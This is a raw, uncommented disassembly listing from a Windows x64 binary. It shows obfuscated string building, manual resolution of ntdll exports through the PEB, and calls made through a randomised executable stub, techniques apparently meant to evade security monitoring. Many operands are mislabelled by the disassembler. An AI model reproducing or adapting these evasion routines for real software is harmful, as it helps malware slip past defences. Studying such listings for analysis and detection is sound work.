call fcn.140035c80
mov byte [rbp + 0x24b], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x248]
call fcn.140035c80
mov byte [rbp + 0x24c], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x65
lea rcx, [rbp + 0x248]
call fcn.140035c80
mov byte [rbp + 0x24d], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x248]
call fcn.140035c80
mov byte [rbp + 0x24e], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x50
lea rcx, [rbp + 0x248]
call fcn.140035c80
mov byte [rbp + 0x24f], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x248]
call fcn.140035c80
mov byte [rbp + 0x250], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x248]
call fcn.140035c80
mov byte [rbp + 0x251], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x63
lea rcx, [rbp + 0x248]
call fcn.140035c80
mov byte [rbp + 0x252], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x65
lea rcx, [rbp + 0x248]
call fcn.140035c80
mov byte [rbp + 0x253], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x248]
call fcn.140035c80
mov byte [rbp + 0x254], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x248]
call fcn.140035c80
mov byte [rbp + 0x255], al
xor eax, eax
mov byte [rbp + 0x256], al
mov edi, eax
lea r15d, [rax + 0x20]
mov r9d, reloc.WS2_32.dll_listen
mov r8, rdi
mov dl, byte [rbp + rdi + 0x249]
lea rcx, [rbp + 0x248]
call fcn.140035c80
mov byte [rbp + rdi + 0x249], al
add rdi, r13
cmp rdi, 0xd
jb 0x140020d25
xor edi, edi
mov byte [rbp + 0x256], dil
mov byte [rbp + 0x1e8], 0x46
lea r13d, [rdi + 9]
mov r9d, r13d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1e8]
call fcn.140035cf8
mov byte [rbp + 0x1e9], al
mov r9d, r13d
lea ebx, [rdi + 1]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1e8]
call fcn.140035cf8
mov byte [rbp + 0x1ea], al
mov r9d, r13d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x1e8]
call fcn.140035cf8
mov byte [rbp + 0x1eb], al
mov r9d, r13d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x1e8]
call fcn.140035cf8
mov byte [rbp + 0x1ec], al
mov r9d, r13d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x1e8]
call fcn.140035cf8
mov byte [rbp + 0x1ed], al
mov r9d, r13d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1e8]
call fcn.140035cf8
mov byte [rbp + 0x1ee], al
mov r9d, r13d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x1e8]
call fcn.140035cf8
mov byte [rbp + 0x1ef], al
mov r9d, r13d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x1e8]
call fcn.140035cf8
mov byte [rbp + 0x1f0], al
mov r9d, r13d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x1e8]
call fcn.140035cf8
mov byte [rbp + 0x1f1], al
xor eax, eax
mov byte [rbp + 0x1f2], al
lea r13d, [rdi + 0x10]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e9]
lea rcx, [rbp + 0x1e8]
call fcn.140035cf8
mov byte [rbp + rdi + 0x1e9], al
add rdi, rbx
cmp rdi, 9
jb 0x140020e65
xor r9d, r9d
mov byte [rbp + 0x1f2], r9b
mov rax, qword gs:[0x60]
test rax, rax
lea ebx, [r9 + 0x11]
je 0x140021212
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x30], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x50], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140020f39
lea r12d, [rax + 1]
mov r10d, r12d
mov r14, qword [rbp - 0x50]
mov ecx, r10d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x140020f0a
mov r14d, reloc.WS2_32.dll_socket
lea r12d, [r14 - 2]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rbp - 0x50], r10
je 0x140020f95
mov rax, rcx
lea r9, [rbp + 0x1e9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140020f8e
add rax, r11
test edx, edx
jne 0x140020f79
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor r9d, r9d
test dil, dil
jne 0x140020fbc
mov rax, qword [rbp - 0x30]
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
cmp rax, qword [rbp - 0x78]
jne 0x140020ec1
jmp 0x140021212
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140021212
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140021212
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140021212
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140021212
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x50], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140021212
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x249]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002104e
inc rax
test edi, edi
jne 0x140021039
test r8d, r8d
je 0x140021062
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x140021028
jmp 0x140021212
mov rax, qword [rbp - 0x50]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140021212
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140021212
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xe10], rax
call fcn.140094c90
or dword [rbp + 0xac74], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x98f0]
call fcn.140036bc4
lea rcx, [rbp + 0x98f0]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea esi, [rax + 1]
lea rcx, [rbp + 0x98f0]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x28490], rax
add rdi, rsi
cmp rdi, 0x200
jl 0x14002110b
mov esi, 0x1000
mov r8d, esi
lea rdx, [rbp + 0x28490]
mov rdi, qword [rbp + 0xe10]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe6c], eax
lea r9, [rbp + 0xe6c]
mov r8d, r15d
mov edx, esi
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xd58]
lea r8, [rbp + 0xd68]
mov edx, 0x1fffff
lea rcx, [rbp + 0xcd8]
call rdi
mov edi, eax
lea r9, [rbp + 0xe6c]
mov r8d, dword [rbp + 0xe6c]
mov edx, esi
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, qword [rbp + 0xe10]
call fcn.1400bcba0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
test edi, edi
lea esi, [rax + 0x14]
js 0x1400350fa
mov rax, qword [rbp + 0xcd8]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x1400350fa
lea rdi, [rbp + 0x28270]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x28270]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor edi, edi
test eax, eax
jne 0x1400218de
mov word [rbp + 0x458], 0x873a
mov r9, rbx
lea r8d, [rdi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x458]
call fcn.140035de8
mov byte [rbp + 0x45a], al
mov r9, rbx
lea r8d, [rdi + 2]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x458]
call fcn.140035de8
mov byte [rbp + 0x45b], al
mov r9, rbx
lea r8d, [rdi + 3]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x458]
call fcn.140035de8
mov byte [rbp + 0x45c], al
mov r9, rbx
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x458]
call fcn.140035de8
mov byte [rbp + 0x45d], al
mov r9, rbx
lea r8d, [rdi + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x458]
call fcn.140035de8
mov byte [rbp + 0x45e], al
mov r9, rbx
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x458]
call fcn.140035de8
mov byte [rbp + 0x45f], al
mov r9, rbx
lea r8d, [rdi + 7]
mov dl, 0x61
lea rcx, [rbp + 0x458]
call fcn.140035de8
mov byte [rbp + 0x460], al
mov r9, rbx
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x458]
call fcn.140035de8
mov byte [rbp + 0x461], al
mov r9, rbx
lea r8d, [rdi + 9]
mov dl, r15b
lea rcx, [rbp + 0x458]
call fcn.140035de8
mov byte [rbp + 0x462], al
mov r9, rbx
lea r8d, [rdi + 0xa]
mov dl, 0x46
lea rcx, [rbp + 0x458]
call fcn.140035de8
mov byte [rbp + 0x463], al
mov r9, rbx
lea r8d, [rdi + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x458]
call fcn.140035de8
mov byte [rbp + 0x464], al
mov r9, rbx
lea r8d, [rdi + 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x458]
call fcn.140035de8
mov byte [rbp + 0x465], al
mov r9, rbx
lea r8d, [rdi + 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x458]
call fcn.140035de8
mov byte [rbp + 0x466], al
mov r9, rbx
lea r8d, [rdi + 0xe]
mov dl, 0x75
lea rcx, [rbp + 0x458]
call fcn.140035de8
mov byte [rbp + 0x467], al
mov r9, rbx
lea r8d, [rdi + 0xf]
mov dl, WSAStartup
lea rcx, [rbp + 0x458]
call fcn.140035de8
mov byte [rbp + 0x468], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x458]
call fcn.140035de8
mov byte [rbp + 0x469], al
xor eax, eax
mov byte [rbp + 0x46a], al
mov r8d, edi
mov r9, rbx
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x458]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x458]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x459], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x14002142a
xor eax, eax
mov byte [rbp + 0x46a], al
mov word [rbp + 0x928], 0xe639
lea edi, [rax + 0x22]
mov r9d, edi
mov r8, r10
mov dl, 0x61
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x92a], al
mov r9d, edi
lea r8d, [rdi - 0x20]
mov dl, 0x69
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x92b], al
mov r9d, edi
lea r8d, [rdi - 0x1f]
mov dl, 0x6c
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x92c], al
mov r9d, edi
lea r8d, [rdi - 0x1e]
mov dl, 0x65
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x92d], al
mov r9d, edi
lea r8d, [rdi - 0x1d]
mov dl, 0x64
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x92e], al
mov r9d, edi
lea r8d, [rdi - 0x1c]
mov dl, r15b
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x92f], al
mov r9d, edi
lea r8d, [rdi - 0x1b]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x930], al
mov r9d, edi
lea r8d, [rdi - 0x1a]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x931], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, r15b
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x932], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x51
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x933], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x75
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x934], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x65
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x935], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, WSAStartup
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x936], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, 0x79
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x937], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, r15b
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x938], al
mov r9d, edi
mov r8, r13
mov dl, 0x4d
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x939], al
mov r9d, edi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x93a], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x64
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x93b], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x75
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x93c], al
mov r9d, edi
mov r8, rsi
mov dl, 0x6c
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x93d], al
mov r9d, edi
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x93e], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, r15b
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x93f], al
mov r9d, edi
mov r8, r14
mov dl, 0x49
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x940], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x941], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x66
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x942], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x943], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x944], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x6d
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x945], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x61
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x946], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x947], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x69
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x948], al
mov r9d, edi
mov r8, r15
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x949], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x928]
call fcn.1400373bc
mov byte [rbp + 0x94a], al
xor eax, eax
mov byte [rbp + 0x94b], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x21]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x928]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x22]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x928]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x929], dil
add r8, rbx
add r9, 0x22
cmp r9, 0x4a6
jb 0x140021845
mov byte [rbp + 0x94b], r10b
xor r9d, r9d
lea r8, [rbp + 0x459]
lea rdx, [rbp + 0x929]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
mov rax, qword [rbp + 0xcd8]
mov qword [rbp - 0x80], rax
mov qword [rbp + 0xd30], rdi
mov qword [rbp + 0xf00], 0x1000
mov byte [rbp + 0x778], 0x44
mov r9, r14
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x779], al
mov r9, r14
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x77a], al
mov r9, r14
mov r8d, 2
mov dl, 0x41
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x77b], al
mov r9, r14
mov r8d, 3
mov dl, 0x6c
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x77c], al
mov r9, r14
mov r8d, 4
mov dl, 0x6c
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x77d], al
mov r9, r14
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x77e], al
mov r9, r14
mov r8d, 6
mov dl, 0x63
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x77f], al
mov r9, r14
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x780], al
mov r9, r14
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x781], al
mov r9, r14
mov r8d, 9
mov dl, 0x65
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x782], al
mov r9, r14
mov r8d, 0xa
mov dl, 0x56
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x783], al
mov r9, r14
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x784], al
mov r9, r14
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x785], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_listen
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x786], al
mov r9, r14
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x787], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x61
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x788], al
mov r9, r14
mov r8, r13
mov dl, 0x6c
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x789], al
mov r9, r14
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x78a], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x78b], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x6d
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x78c], al
mov r9, r14
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x78d], al
mov r9, r14
mov r8, r12
mov dl, WSAStartup
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x78e], al
mov r9, r14
mov r8d, reloc.WLDAP32.dll_Ordinal_22
mov dl, 0x79
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + 0x78f], al
xor eax, eax
mov byte [rbp + 0x790], al
lea r13d, [rax + 1]
mov r9, r14
mov r8, rdi
mov dl, byte [rbp + rdi + 0x779]
lea rcx, [rbp + 0x778]
call fcn.140036134
mov byte [rbp + rdi + 0x779], al
add rdi, r13
cmp rdi, r14
jb 0x140021b9a
xor edi, edi
mov byte [rbp + 0x790], dil
mov byte [rbp + 0x1d8], 0x45
lea r13d, [rdi + 9]
mov r9d, r13d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1d8]
call fcn.140035cf8
mov byte [rbp + 0x1d9], al
mov r9d, r13d
lea r14d, [rdi + 1]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1d8]
call fcn.140035cf8
mov byte [rbp + 0x1da], al
mov r9d, r13d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x1d8]
call fcn.140035cf8
mov byte [rbp + 0x1db], al
mov r9d, r13d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x1d8]
call fcn.140035cf8
mov byte [rbp + 0x1dc], al
mov r9d, r13d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x1d8]
call fcn.140035cf8
mov byte [rbp + 0x1dd], al
mov r9d, r13d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1d8]
call fcn.140035cf8
mov byte [rbp + 0x1de], al
mov r9d, r13d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x1d8]
call fcn.140035cf8
mov byte [rbp + 0x1df], al
mov r9d, r13d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x1d8]
call fcn.140035cf8
mov byte [rbp + 0x1e0], al
mov r9d, r13d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x1d8]
call fcn.140035cf8
mov byte [rbp + 0x1e1], al
xor eax, eax
mov byte [rbp + 0x1e2], al
lea r13d, [rdi + 0x10]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1d9]
lea rcx, [rbp + 0x1d8]
call fcn.140035cf8
mov byte [rbp + rdi + 0x1d9], al
add rdi, r14
cmp rdi, 9
jb 0x140021cd7
xor r9d, r9d
mov byte [rbp + 0x1e2], r9b
mov rax, qword gs:[0x60]
test rax, rax
lea r14d, [r9 + 0x17]
je 0x140022094
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x30], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x50], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140021da8
lea r12d, [rax + 1]
mov r10d, r12d
mov rsi, qword [rbp - 0x50]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x140021d7c
mov esi, reloc.WS2_32.dll_sendto
lea r12d, [rsi + 1]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rbp - 0x50], r10
je 0x140021e04
mov rax, rcx
lea r9, [rbp + 0x1d9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140021dfd
add rax, r11
test edx, edx
jne 0x140021de8
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor r9d, r9d
test dil, dil
jne 0x140021e2b
mov rax, qword [rbp - 0x30]
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
cmp rax, qword [rbp - 0x78]
jne 0x140021d33
jmp 0x140022094
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140022094
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140022094
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140022094
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140022094
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x50], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140022094
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x779]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140021ebd
inc rax
test edi, edi
jne 0x140021ea8
xor r9d, r9d
test r8d, r8d
je 0x140021ed4
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x140021e97
jmp 0x140022094
mov rax, qword [rbp - 0x50]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
mov r10d, 1
je 0x14002209a
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
cmp eax, r10d
jl 0x14002209a
mov edx, 0x1000
xor ecx, ecx
lea r9d, [r10 + 3]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xe10], rax
call fcn.140094c90
or dword [rbp + 0xc004], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xac80]
call fcn.140036bc4
lea rcx, [rbp + 0xac80]
call fcn.1400365dc
